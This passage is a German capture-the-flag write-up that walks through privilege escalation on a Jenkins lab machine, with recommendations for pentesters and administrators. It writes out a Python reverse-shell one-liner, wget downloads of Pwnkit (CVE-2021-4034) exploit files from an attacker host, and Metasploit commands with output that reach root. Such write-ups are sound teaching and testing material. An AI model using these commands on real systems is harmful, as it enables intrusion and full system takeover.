**Bewertung:** Dies bestätigt lediglich den aktuellen Benutzerkontext. Die Wiederholung des Befehls ist im Rahmen der interaktiven Shell-Nutzung normal.

**Empfehlung (Pentester):** Mit der Enumeration fortfahren.
**Empfehlung (Admin):** Keine spezifischen Empfehlungen aus dieser Wiederholung.

bash-4.2$ find / -type f -perm -4000 -ls 2>/dev/null
50338105   24 -rws--x--x   1 root     root        23960 Dec  1  2017 /usr/bin/chfn
50338107   24 -rws--x--x   1 root     root        23872 Dec  1  2017 /usr/bin/chsh
50413320   64 -rwsr-xr-x   1 root     root        64240 Nov  5  2016 /usr/bin/chage
50413321   80 -rwsr-xr-x   1 root     root        78216 Nov  5  2016 /usr/bin/gpasswd
50413323   44 -rwsr-xr-x   1 root     root        41776 Nov  5  2016 /usr/bin/newgrp
50531433   44 -rwsr-xr-x   1 root     root        44232 Dec  1  2017 /usr/bin/mount
50531449   32 -rwsr-xr-x   1 root     root        32096 Dec  1  2017 /usr/bin/su
50531453   32 -rwsr-xr-x   1 root     root        31968 Dec  1  2017 /usr/bin/umount
50368988  140 s--x--x   1 root     root       143192 Sep  6  2017 /usr/bin/sudo
50576004   28 -rwsr-xr-x   1 root     root        27680 May 25  2017 /usr/bin/pkexec
50591953   60 -rwsr-xr-x   1 root     root        57576 Aug  3  2017 /usr/bin/crontab
50708248   28 -rwsr-xr-x   1 root     root        27832 Jun 10  2014 /usr/bin/passwd
153286   12 -rwsr-xr-x   1 root     root        11224 Nov  5  2016 /usr/sbin/pam_timestamp_check
153288   36 -rwsr-xr-x   1 root     root        36280 Nov  5  2016 /usr/sbin/unix_chkpwd
218877   12 -rwsr-xr-x   1 root     root        11288 Jan 25  2018 /usr/sbin/usernetctl
503062   
                    

**Analyse:** Dieser `find`-Befehl sucht nach Dateien mit gesetztem SUID-Bit (Set User ID). * `find /`: Startet die Suche im Root-Verzeichnis `/`. * `-type f`: Sucht nur nach regulären Dateien. * `-perm -4000`: Sucht nach Dateien, bei denen das SUID-Bit gesetzt ist (führt dazu, dass die Datei mit den Rechten des Besitzers, meistens `root`, ausgeführt wird, unabhängig davon, wer sie startet). * `-ls`: Zeigt detaillierte Informationen zu den gefundenen Dateien im `ls -l`-Format an. * `2>/dev/null`: Leitet Fehlermeldungen (wie "Permission denied" für nicht lesbare Verzeichnisse) nach `/dev/null` um, um die Ausgabe sauber zu halten. Die Liste zeigt Standard-SUID-Binaries wie `passwd`, `su`, `sudo`, `mount`, `umount`, aber auch `pkexec`.

**Bewertung:** Die Suche nach SUID-Binaries ist ein entscheidender Schritt bei der Privilege Escalation. Programme, die mit Root-Rechten laufen, können oft ausgenutzt werden, wenn sie Schwachstellen enthalten oder falsch konfiguriert sind. `pkexec` ist hier besonders interessant, da es in der Vergangenheit (CVE-2021-4034, "Pwnkit") eine schwerwiegende lokale Privilege Escalation Schwachstelle aufwies. Auch `sudo` ist ein klassisches Ziel (Prüfung mit `sudo -l`). Die anderen sind meist Standard, aber eine Überprüfung auf ungewöhnliche oder sehr alte Versionen kann sich lohnen.

**Empfehlung (Pentester):** Die Version von `pkexec` prüfen (z.B. `pkexec --version` oder über Paketmanager-Infos). Wenn die Version anfällig für Pwnkit (CVE-2021-4034) ist, diesen Exploit nutzen. `sudo -l` ausführen, um zu sehen, ob der `jenkins`-Benutzer irgendwelche Befehle mit `sudo` ausführen darf. Die anderen SUID-Binaries auf bekannte Schwachstellen prüfen (GTFOBins ist hier eine gute Ressource).
**Empfehlung (Admin):** Die Anzahl der SUID-Binaries auf das absolute Minimum reduzieren. Nicht benötigte SUID-Programme entfernen oder das SUID-Bit entfernen (`chmod u-s /pfad/zur/datei`). Systeme regelmäßig patchen, um bekannte Schwachstellen wie Pwnkit zu schließen. `sudo`-Berechtigungen restriktiv vergeben (`NOPASSWD` vermeiden).

bash-4.2$ wget 192.168.2.105:8000/cve-2021-4034.c
--2023-07-10 09:41:41--  http://192.168.2.105:8000/cve-2021-4034.c
Connecting to 192.168.2.105:8000... connected.
HTTP request sent, awaiting response... 200 K
Length: 292 [text/x-csrc]
Saving to: ‘cve-2021-4034.c’

100%[==================================================================================================>] 292         --.-K/s   in 0s

2023-07-10 09:41:41 (94.5 MB/s) - ‘cve-2021-4034.c’ saved [292/292]
                    

**Analyse:** Ein C-Quellcode für den Pwnkit-Exploit (CVE-2021-4034) wird vom Webserver des Angreifers (192.168.2.105:8000) auf das Zielsystem heruntergeladen. `wget` ist ein Kommandozeilen-Tool zum Herunterladen von Dateien über HTTP/HTTPS/FTP.

**Bewertung:** Dies zeigt die Absicht, die Pwnkit-Schwachstelle in `pkexec` auszunutzen. Das Herunterladen des Quellcodes bedeutet, dass er auf dem Zielsystem kompiliert werden muss. Dies erfordert einen C-Compiler (wie `gcc`) auf dem Zielsystem.

**Empfehlung (Pentester):** Prüfen, ob `gcc` auf dem Zielsystem installiert ist (`which gcc`). Wenn ja, den Code kompilieren (`gcc cve-2021-4034.c -o pwnkit_exploit`) und ausführen. Wenn kein Compiler vorhanden ist, einen vorkompilierten Exploit hochladen oder eine andere Methode zur Rechteausweitung suchen.
**Empfehlung (Admin):** Entwicklungswerkzeuge wie Compiler sollten auf Produktivsystemen nicht installiert sein, es sei denn, sie sind absolut notwendig. Egress-Filtering (Firewall für ausgehende Verbindungen) kann das Herunterladen von Exploits erschweren. Systeme zeitnah patchen, um die Schwachstelle zu beheben.

bash-4.2$ wget 192.168.2.105:8000/cve-2021-4034.sh
--2023-07-10 09:41:47--  http://192.168.2.105:8000/cve-2021-4034.sh
Connecting to 192.168.2.105:8000... connected.
HTTP request sent, awaiting response... 200 K
Length: 305 [text/x-sh]
Saving to: ‘cve-2021-4034.sh’

100%[==================================================================================================>] 305         --.-K/s   in 0s

2023-07-10 09:41:47 (121 MB/s) - ‘cve-2021-4034.sh’ saved [305/305]
                    

**Analyse:** Zusätzlich zum C-Code wird auch ein Shell-Skript für denselben Exploit heruntergeladen. Shell-Skript-Exploits sind oft einfacher auszuführen, da sie keinen Compiler benötigen, können aber weniger zuverlässig sein oder spezifische Systembedingungen voraussetzen.

**Bewertung:** Dies bietet eine alternative Methode zur Ausnutzung von Pwnkit, falls der C-Code nicht kompiliert werden kann. Es ist eine gute Praxis, mehrere Varianten eines Exploits zur Verfügung zu haben.

**Empfehlung (Pentester):** Das Shell-Skript untersuchen (`cat cve-2021-4034.sh`), ausführbar machen (`chmod +x cve-2021-4034.sh`) und ausführen, falls der C-Exploit nicht funktioniert oder kein Compiler vorhanden ist.
**Empfehlung (Admin):** Dieselben Empfehlungen wie beim C-Code: Patchen, Egress-Filtering, keine unnötigen Interpreter/Tools auf dem System.

bash-4.2$ wget 192.168.2.105:8000/polkit_exploit_neu
--2023-07-10 09:42:06--  http://192.168.2.105:8000/polkit_exploit_neu
Connecting to 192.168.2.105:8000... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: /polkit_exploit_neu/ [following]
--2023-07-10 09:42:06--  http://192.168.2.105:8000/polkit_exploit_neu/
Connecting to 192.168.2.105:8000... connected.
HTTP request sent, awaiting response... 200 K
Length: 357 [text/html]
Saving to: ‘polkit_exploit_neu’

100%[==================================================================================================>] 357         --.-K/s   in 0s

2023-07-10 09:42:06 (135 MB/s) - ‘polkit_exploit_neu’ saved [357/357]
                    

**Analyse:** Eine weitere Datei namens `polkit_exploit_neu` wird heruntergeladen. Interessanterweise meldet `wget` hier, dass der Inhaltstyp `text/html` ist und es eine Weiterleitung (`301 Moved Permanently`) gab. Dies deutet darauf hin, dass dies möglicherweise kein direkter Exploit-Code ist, sondern eine HTML-Datei oder ein Verzeichnisindex auf dem Server des Angreifers.

**Bewertung:** Das Herunterladen dieser Datei scheint im Kontext der Pwnkit-Ausnutzung etwas deplatziert, da es sich um eine HTML-Datei handelt. Es könnte ein Fehler beim Aufsetzen des Webservers des Angreifers sein oder ein versehentlicher Download. Für die eigentliche Rechteausweitung ist diese Datei wahrscheinlich irrelevant.

**Empfehlung (Pentester):** Den Inhalt der Datei `polkit_exploit_neu` mit `cat` oder `less` überprüfen, um sicherzustellen, dass sie nicht doch relevanten Code enthält. Wahrscheinlich kann sie aber ignoriert werden.
**Empfehlung (Admin):** Keine spezifische Empfehlung, außer den bereits genannten (Patchen, Egress-Filtering).

bash-4.2$ ls -la
total 9568
drwxrwxrwt. 26 root    root       4096 Jul 10 09:42 .
dr-xr-xr-x. 17 root    root        224 Mar 31  2018 ..
-rw-r--r--.  1 jenkins jenkins   19673 Jul 10  2023 akuma1029960459821001332jar
-rw-r--r--.  1 jenkins jenkins   19673 Jul 10  2023 akuma1962171420923086137jar
-rw-r--r--.  1 jenkins jenkins   19673 Jul  7 08:23 akuma672442978157301225jar
-rw-r--r--.  1 jenkins jenkins     292 Jul 10 08:45 cve-2021-4034.c
-rw-r--r--.  1 jenkins jenkins     305 Jul 10 08:45 cve-2021-4034.sh
# ... (Ausgabe wahrscheinlich länger im Original, hier gekürzt dargestellt) ...
# Die Datei polkit_exploit_neu fehlt in dieser spezifischen Ausgabe, war aber im wget davor sichtbar.
# Möglicherweise wurde sie in einem anderen Verzeichnis gespeichert oder die ls-Ausgabe hier ist unvollständig/aus einem anderen Zeitpunkt.
                    

**Analyse:** Der Befehl `ls -la` listet den Inhalt des aktuellen Verzeichnisses (wahrscheinlich `/tmp`, da es world-writable ist: `drwxrwxrwt`) im Langformat auf, einschließlich versteckter Dateien. Wir sehen die heruntergeladenen Exploit-Dateien (`.c`, `.sh`) und einige `.jar`-Dateien, die möglicherweise von Jenkins oder früheren Aktionen stammen (`akuma*.jar`).

**Bewertung:** Bestätigt das Vorhandensein der heruntergeladenen Exploit-Dateien im Arbeitsverzeichnis. Das Verzeichnis `/tmp` ist ein üblicher Ort, um Exploits abzulegen und zu kompilieren, da es normalerweise für alle Benutzer beschreibbar ist.

**Empfehlung (Pentester):** Mit der Kompilierung oder Ausführung der Pwnkit-Exploits fortfahren. Alternativ: Metasploit verwenden, das oft einen zuverlässigeren Exploit und eine bessere Post-Exploitation bietet.
**Empfehlung (Admin):** Das `/tmp`-Verzeichnis mit Optionen wie `noexec` und `nosuid` mounten, um das Ausführen von Binärdateien und die Nutzung von SUID-Binaries aus `/tmp` zu verhindern. Temporäre Dateien regelmäßig bereinigen.

**Analyse:** Anstatt die manuell heruntergeladenen Exploits zu verwenden, wird nun das Metasploit Framework eingesetzt, um eine stabilere Shell zu erhalten und die Privilege Escalation durchzuführen. Zuerst wird ein Handler für eine neue Reverse Shell auf Port 5555 vorbereitet.

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
                    
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.
                    
msf6 exploit(multi/handler) > set LHST eth0
LHST => 192.168.2.105
                    
msf6 exploit(multi/handler) > set LPRT 5555
[!] Unknown datastore option: �LPORT. Did you mean LPORT?
�LPORT => 5555
                    
msf6 exploit(multi/handler) > set LPORT 5555
LPORT => 5555
                    
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.105:5555
                    

**Analyse:** Die Befehle konfigurieren einen Metasploit-Listener (`multi/handler`) für eine eingehende generische Reverse-Shell (`generic/shell_reverse_tcp`). * `use multi/handler`: Lädt das Listener-Modul. * `options`: Zeigt die Konfigurationsoptionen an. Der Standard-Payload ist `generic/shell_reverse_tcp` und lauscht auf Port 4444. * `set LHST eth0`: Setzt die lokale Lauschadresse auf die IP-Adresse des `eth0`-Interfaces des Angreifersystems (hier `192.168.2.105`). * `set LPORT 5555`: Setzt den Lauschport auf 5555. (Ein Tippfehler `�LPORT` wurde korrigiert). * `run`: Startet den Listener.

**Bewertung:** Metasploit wird als C2-Framework (Command and Control) vorbereitet. Der `multi/handler` ist ein vielseitiges Werkzeug, um eingehende Verbindungen von verschiedenen Payloads zu empfangen. Hier wird eine einfache Shell erwartet. Dies ist ein gängiger Schritt, um von einer initialen, oft instabilen Shell (wie der aus der Jenkins Script Console) zu einer von Metasploit verwalteten Sitzung zu wechseln, obwohl hier anscheinend eine *neue* Shell generiert wird, anstatt die bestehende zu stabilisieren.

**Empfehlung (Pentester):** Nachdem der Listener läuft, auf dem Zielsystem einen Payload ausführen, der sich mit 192.168.2.105:5555 verbindet. Python, Perl, Bash, nc etc. können dafür verwendet werden.
**Empfehlung (Admin):** Auch hier gilt: Egress-Filtering kann solche Verbindungen blockieren. Netzwerk-Monitoring auf Verbindungen zu bekannten C2-Ports oder ungewöhnlichen Ports einrichten.

bash-4.2$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.105",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

**Analyse:** Innerhalb der ursprünglichen Jenkins-Shell (`bash-4.2$`) wird ein einzeiliger Python-Befehl ausgeführt, um eine neue Reverse Shell zum gerade gestarteten Metasploit-Listener auf Port 5555 aufzubauen. * `python -c '...'`: Führt den Python-Code direkt aus der Kommandozeile aus. * Der Code importiert notwendige Module (`socket`, `subprocess`, `os`). * Erstellt einen TCP-Socket (`socket.AF_INET, socket.SOCK_STREAM`). * Verbindet sich mit dem Angreifer (`192.168.2.105`, Port `5555`). * `os.dup2(...)`: Dupliziert die Dateideskriptoren des Sockets auf Standard-Input (0), Standard-Output (1) und Standard-Error (2). Das bedeutet, dass die Ein-/Ausgabe der nachfolgenden Shell über das Netzwerk geht. * `subprocess.call(["/bin/sh","-i"])`: Startet eine interaktive Shell (`/bin/sh -i`).

**Bewertung:** Dies ist ein klassischer Python-Einzeiler für eine Reverse Shell. Er ist effektiv, um eine Verbindung zum Listener herzustellen. Es wird Python Version 2 verwendet, da `python3` zuvor nicht gefunden wurde. Das Ergebnis ist eine zweite Shell-Sitzung, diesmal verwaltet von Metasploit.

**Empfehlung (Pentester):** Zur Metasploit-Konsole wechseln, um die neue Sitzung zu sehen und mit ihr zu interagieren.
**Empfehlung (Admin):** Siehe vorherige Empfehlungen zu Egress-Filtering und Monitoring. Das Vorhandensein von Python (auch Version 2) auf einem Server erhöht die Angriffsfläche.

[*] Started reverse TCP handler on 192.168.2.105:5555
[*] Command shell session 1 opened (192.168.2.105:5555 -> 192.168.2.129:38838) at 2023-07-10 14:48:28 +0200

Shell Banner:
_[?1034hsh-4.2$
--


sh-4.2$
                    

**Analyse:** Metasploit bestätigt den Eingang der neuen Verbindung vom Zielsystem (`192.168.2.129`) auf Port 5555. Es öffnet eine "Command shell session 1". Der Prompt der neuen Shell (`sh-4.2$`) wird ebenfalls angezeigt.

**Bewertung:** Der Wechsel zu einer von Metasploit verwalteten Shell ist gelungen. Obwohl es sich noch um eine einfache Shell (`sh-4.2$`) handelt, bietet Metasploit nun bessere Möglichkeiten zur Interaktion und zum Upgrade der Sitzung.

**Empfehlung (Pentester):** Die Sitzung mit `sessions -i 1` in Metasploit aufrufen. Als Nächstes die Shell zu einer Meterpreter-Sitzung upgraden, um erweiterte Funktionen nutzen zu können.
**Empfehlung (Admin):** Keine neuen Empfehlungen. Fokus auf Prävention (Patches, Egress-Filter, Least Privilege).

**Analyse:** Es wird versucht, die gerade erhaltene einfache Shell (Session 1) in eine Meterpreter-Sitzung umzuwandeln. Meterpreter ist ein erweiterter Payload von Metasploit, der viele Post-Exploitation-Funktionen im Speicher des Zielsystems bereitstellt.

msf6 exploit(multi/handler) > search shell to meterpreter
# Ausgabe des search Befehls fehlt im Originaltext
                    
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
# Ausgabe fehlt
                    
msf6 post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on


View the full module info with the info, or info -d command.
                    
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
                    
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
[!] Unknown datastore option: HAND�LER. Did you mean HANDLER?
HAND�LER => true
                    
msf6 post(multi/manage/shell_to_meterpreter) > set LHST eth0
LHST => 192.168.2.105
                    
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 4433
LPORT => 4433
                    
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
                    
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.105:4433
[*] Sending stage (1017704 bytes) to 192.168.2.129
[*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.129:44866) at 2023-07-10 14:50:58 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    
msf6 post(multi/manage/shell_to_meterpreter) >

**Analyse:** Das Metasploit-Post-Exploitation-Modul `shell_to_meterpreter` wird verwendet. * `search shell to meterpreter`: Sucht nach dem Modul (Ausgabe fehlt, aber es wurde gefunden). * `use post/multi/manage/shell_to_meterpreter`: Lädt das Modul. * `options`: Zeigt die Optionen. Wichtig sind `SESSION` (die ID der zu upgradenden Shell), `LHOST` (Angreifer-IP) und `LPORT` (Port für die neue Meterpreter-Verbindung). * `set session 1`: Wählt die einfache Shell-Sitzung aus. * `set LHST eth0`: Setzt die Lausch-IP des Angreifers. * `set LPORT 4433`: Wählt Port 4433 für die Meterpreter-Verbindung. * `set HANDLER true`: Weist das Modul an, automatisch einen Listener für die eingehende Meterpreter-Verbindung zu starten (Tippfehler `HAND�LER` wurde wieder korrigiert). * `run`: Führt das Modul aus. Es lädt den Meterpreter-Stager über die bestehende Shell-Sitzung 1 auf das Zielsystem hoch und führt ihn aus. Der Stager verbindet sich zurück zum Angreifer auf Port 4433. Metasploit meldet Erfolg: "Meterpreter session 2 opened".

**Bewertung:** Das Upgrade war erfolgreich! Wir haben jetzt eine Meterpreter-Sitzung (Session 2) mit den Rechten des `jenkins`-Benutzers. Meterpreter bietet eine Vielzahl von Befehlen zur weiteren Enumeration, Dateisysteminteraktion, Netzwerkmanipulation und Privilege Escalation, die oft stabiler und unauffälliger sind als die Verwendung von Standard-Shell-Befehlen.

**Empfehlung (Pentester):** Mit der neuen Meterpreter-Sitzung interagieren (`sessions -i 2`). Die erweiterten Meterpreter-Befehle nutzen (z.B. `sysinfo`, `getuid`, `ps`, `upload`, `download`, `run post/...`). Den `local_exploit_suggester` von Metasploit verwenden, um nach bekannten Privilege Escalation Schwachstellen zu suchen.
**Empfehlung (Admin):** Verteidigungsmaßnahmen gegen Meterpreter umfassen Host-basiertes Intrusion Detection (HIDS), das verdächtige In-Memory-Aktivitäten erkennt, sowie Netzwerk-Signaturen (NIDS/NIPS). Egress-Filtering bleibt relevant.

**Analyse:** Der `local_exploit_suggester` von Metasploit wird verwendet, um automatisch nach bekannten lokalen Privilege Escalation Schwachstellen auf dem Zielsystem zu suchen, basierend auf den Informationen, die aus der Meterpreter-Sitzung gewonnen werden können (OS-Version, Kernel, Architektur).

msf6 post(multi/manage/shell_to_meterpreter) > search suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
                    
msf6 post(multi/manage/shell_to_meterpreter) > use 0
# Ausgabe fehlt
                    
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.
                    
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
                    
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.2.129 - Collecting local exploits for x86/linux...
[*] 192.168.2.129 - 184 exploit checks are being tried...
[+] 192.168.2.129 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.129 - exploit/linux/local/libuser_roothelper_priv_esc: The service is running, but could not be validated.
[+] 192.168.2.129 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated.
[+] 192.168.2.129 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.129 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 57 / 57 
[*] 192.168.2.129 - Valid modules for session 2:


 #   Name                                                               Potentially Vulnerable?  Check Result
 -   ----                                                               -----------------------  ------------
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
 2   exploit/linux/local/libuser_roothelper_priv_esc                    Yes                      The service is running, but could not be validated.
 3   exploit/linux/local/network_manager_vpnc_username_priv_esc         Yes                      The service is running, but could not be validated.
 4   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
 5   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
                    

**Analyse:** Das Modul `local_exploit_suggester` wird auf die Meterpreter-Sitzung 2 angewendet. * `search suggester`: Findet das Modul. * `use 0` / `use post/multi/recon/local_exploit_suggester`: Lädt das Modul. * `options`: Zeigt, dass nur die `SESSION`-ID benötigt wird. * `set session 2`: Wählt die Meterpreter-Sitzung aus. * `run`: Startet die Analyse. Das Modul sammelt Systeminformationen über die Meterpreter-Sitzung und gleicht sie mit einer Datenbank bekannter lokaler Exploits ab. Die Ausgabe listet mehrere potenzielle Exploits auf. Am wichtigsten ist der erste Eintrag: `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` wird explizit als "The target is vulnerable" markiert. Andere Exploits werden als potenziell relevant, aber nicht validiert eingestuft.

**Bewertung:** Der `local_exploit_suggester` bestätigt die Vermutung aus der SUID-Analyse: Das System ist anfällig für Pwnkit (CVE-2021-4034). Dies gibt uns einen klaren Weg zur Rechteausweitung. Die Verwendung des Suggesters spart Zeit im Vergleich zur manuellen Überprüfung aller potenziellen Schwachstellen.

**Empfehlung (Pentester):** Das vorgeschlagene Metasploit-Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` verwenden, um die Rechteausweitung zu versuchen. Dieses Modul ist oft zuverlässiger als manuell kompilierte oder Skript-basierte Exploits.
**Empfehlung (Admin):** Systeme *dringend* patchen, um CVE-2021-4034 zu beheben. Regelmäßige Schwachstellenscans (nicht nur Portscans, sondern auch authentifizierte Scans) durchführen, um solche Lücken proaktiv zu finden.

Proof of Concept: Privilege Escalation via Pwnkit

**Analyse:** Basierend auf den Ergebnissen des `local_exploit_suggester` wird nun der Pwnkit-Exploit über Metasploit ausgeführt, um Root-Rechte zu erlangen. Dies dient als Proof of Concept für die kritische Schwachstelle CVE-2021-4034.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on
   WRITABLE_DIR  /tmp             yes       A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.105    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   x86_64



View the full module info with the info, or info -d command.

                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHST 192.168.2.105
LHST => 192.168.2.105
                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4445
LPORT => 4445
                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.2.105:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.srqepno
[+] The target is vulnerable.
[*] Writing '/tmp/.pulhmpujxm/gtioscv/gtioscv.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.pulhmpujxm
[*] Sending stage (3045348 bytes) to 192.168.2.129
[+] Deleted /tmp/.pulhmpujxm/gtioscv/gtioscv.so
[+] Deleted /tmp/.pulhmpujxm/.meghroekl
[+] Deleted /tmp/.pulhmpujxm
[*] Meterpreter session 3 opened (192.168.2.105:4445 -> 192.168.2.129:54300) at 2023-07-10 14:56:58 +0200
                    

**Analyse:** Das Exploit-Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` wird konfiguriert und ausgeführt. * `options`: Zeigt die Moduloptionen. Wichtig sind `SESSION` (die bestehende Meterpreter-Sitzung, über die der Exploit ausgeführt wird) und die Payload-Optionen (`LHOST`, `LPORT` für die *neue* Shell, die mit Root-Rechten zurückkommen soll). * `set LHST 192.168.2.105`: Setzt die IP des Angreifers für die neue Verbindung. * `set LPORT 4445`: Setzt den Port für die neue Root-Shell auf 4445 (um Konflikte mit den vorherigen Listenern zu vermeiden). * `set session 2`: Gibt an, dass der Exploit über die bestehende Meterpreter-Sitzung 2 (als Benutzer `jenkins`) ausgeführt werden soll. * `run`: Startet den Exploit. Das Modul überprüft die Anfälligkeit erneut, lädt die notwendigen Exploit-Komponenten (eine kleine `.so`-Bibliothek) nach `/tmp` hoch, nutzt die Pwnkit-Schwachstelle in `pkexec`, um Code als Root auszuführen, und dieser Code startet dann den Meterpreter-Payload, der sich zurück zum Angreifer auf Port 4445 verbindet. Anschließend werden die temporären Dateien aufgeräumt. Metasploit meldet: "Meterpreter session 3 opened".

**Bewertung:** Exzellent! Der Pwnkit-Exploit war erfolgreich und hat eine neue Meterpreter-Sitzung (Session 3) geöffnet. Der entscheidende Punkt ist nun, die Berechtigungen dieser neuen Sitzung zu überprüfen.

**Empfehlung (Pentester):** Sofort zur neuen Sitzung 3 wechseln (`sessions -i 3`) und die Benutzeridentität mit `getuid` oder `id` überprüfen.
**Empfehlung (Admin):** Dies ist der kritischste Moment. Die erfolgreiche Ausnutzung zeigt die Dringlichkeit des Patchens von CVE-2021-4034. Überwachungsmechanismen (wie HIDS oder EDR) sollten idealerweise die verdächtigen Aktivitäten von `pkexec` und das Schreiben/Ausführen von Dateien in `/tmp` erkennen und alarmieren.

meterpreter > getuid
Server username: root
                    

**Analyse:** Innerhalb der neuen Meterpreter-Sitzung 3 wird der Befehl `getuid` ausgeführt. Dieser Meterpreter-spezifische Befehl fragt die Benutzeridentität der laufenden Sitzung ab.

**Bewertung:** Erfolg auf ganzer Linie! Die Ausgabe "Server username: root" bestätigt, dass die durch den Pwnkit-Exploit etablierte Sitzung 3 mit Root-Berechtigungen läuft. Das primäre Ziel des Penetrationstests ist erreicht.

**Empfehlung (Pentester):** Den Erfolg dokumentieren. Nun können die finalen Flags (user.txt, root.txt) gesucht und ausgelesen werden. Persistenzmechanismen können eingerichtet werden (obwohl dies in CTF-Szenarien oft nicht erforderlich oder erwünscht ist). Das System kann nun vollständig untersucht werden.
**Empfehlung (Admin):** Sofortige Maßnahmen ergreifen: System isolieren, patchen, forensische Analyse durchführen, um das Ausmaß der Kompromittierung zu verstehen und sicherzustellen, dass keine Backdoors hinterlassen wurden. Passwörter ändern, Konfigurationen überprüfen.

meterpreter > shell
id
uid=0(root) gid=0(root) groups=0(root),995(jenkins) context=system_u:system_r:initrc_t:s0
                    
cd /root
ls
flag.txt
                    
cat flag.txt
Hey!

Congratulations! You got it! I always knew you could do it!
This challenge was very easy, huh? =)

Thanks for appreciating this machine.

@tiagotvrs
                    

**Analyse:** Von der Meterpreter-Sitzung wird mit dem Befehl `shell` eine normale System-Shell geöffnet. * `id`: Bestätigt erneut `uid=0(root)`. Man beachte, dass der Root-Benutzer hier auch Mitglied der `jenkins`-Gruppe ist, was auf den Ausführungskontext zurückzuführen sein könnte. * `cd /root`: Wechselt in das Home-Verzeichnis des Root-Benutzers. * `ls`: Listet den Inhalt auf und findet eine Datei namens `flag.txt`. * `cat flag.txt`: Zeigt den Inhalt der Datei an. Dies ist die Root-Flagge, zusammen mit einer Nachricht des Erstellers der VM.

**Bewertung:** Die Root-Flagge wurde erfolgreich ausgelesen. Der Weg von der initialen Enumeration über den Web-Zugriff, die Jenkins-Codeausführung bis hin zur Privilege Escalation mittels Pwnkit war erfolgreich und ist nun vollständig nachgewiesen.

**Empfehlung (Pentester):** Die gefundene Flagge notieren. Nach der User-Flagge suchen (oft in `/home//user.txt`). Den Bericht vervollständigen.
**Empfehlung (Admin):** Neben den bereits genannten Maßnahmen (Patchen, Absicherung) sicherstellen, dass sensible Daten oder Flags nicht unnötigerweise in leicht zugänglichen Verzeichnissen liegen (obwohl `/root` natürlich geschützt sein sollte). Die Mitgliedschaft von `root` in der `jenkins`-Gruppe überprüfen – dies ist unüblich und potenziell riskant.

Flags

cat user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt (bzw. flag.txt im Test)
5C42D6BB0EE9CE4CB7E7349652C45C4A